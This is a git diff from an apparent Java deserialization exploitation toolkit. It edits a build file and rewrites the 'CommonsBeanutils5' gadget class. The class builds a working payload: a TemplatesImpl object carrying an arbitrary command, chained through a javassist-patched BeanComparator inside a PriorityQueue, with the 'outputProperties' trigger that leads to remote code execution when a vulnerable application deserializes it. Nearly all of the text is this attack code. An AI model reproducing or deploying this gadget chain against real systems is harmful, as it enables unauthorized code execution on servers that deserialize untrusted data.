+ cb161

build.gradle

@@ -96,12 +96,6 @@ dependencies {
     api libs.javax.websocket.javax.websocket.api
     api libs.com.caucho.resin
     implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
-    implementation('commons-beanutils:commons-beanutils:1.6.1') {
-        version {
-            strictly '1.6.1'
-        }
-    }
-    implementation files('lib/CB161.jar')
     runtimeOnly libs.org.aspectj.aspectjweaver
     compileOnly libs.org.apache.tomcat.tomcat.websocket
 }

src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java

@@ -4,6 +4,9 @@ import com.qi4l.jndi.gadgets.annotation.Authors;
 import com.qi4l.jndi.gadgets.annotation.Dependencies;
 import com.qi4l.jndi.gadgets.utils.Gadgets;
 import com.qi4l.jndi.gadgets.utils.Reflections;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.commons.beanutils.BeanComparator;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
@@ -13,24 +16,28 @@ import java.net.URLClassLoader;
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
+import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
+
 @Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
 public class CommonsBeanutils5 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
+        ClassPool pool    = ClassPool.getDefault();
+        CtClass   ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
 
-        URLClassLoader      classLoader    = new URLClassLoader(new URL[]{new URL("file://libs/commons-beanutils-1.6.1.jar")}, Thread.currentThread().getContextClassLoader());
+        insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819L;");
-        Class<?>            BeanComparator = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
-        Constructor<?>      constructor    = BeanComparator.getConstructor(String.class);
-        Object              comparator     = constructor.newInstance("lowestSetBit");
-        final PriorityQueue queue          = new PriorityQueue(2, (Comparator) comparator);
 
+        Class                       beanCompareClazz = ctClass.toClass();
+        BeanComparator              comparator       = (BeanComparator) beanCompareClazz.newInstance();
+        final PriorityQueue<Object> queue            = new PriorityQueue<Object>(2, comparator);
+        queue.add("1");
+        queue.add("1");
 
-        queue.add(new BigInteger("1"));
+        // switch method called by comparator
-        queue.add(new BigInteger("1"));
-
         Reflections.setFieldValue(comparator, "property", "outputProperties");
+        Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
         Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
 
         return queue;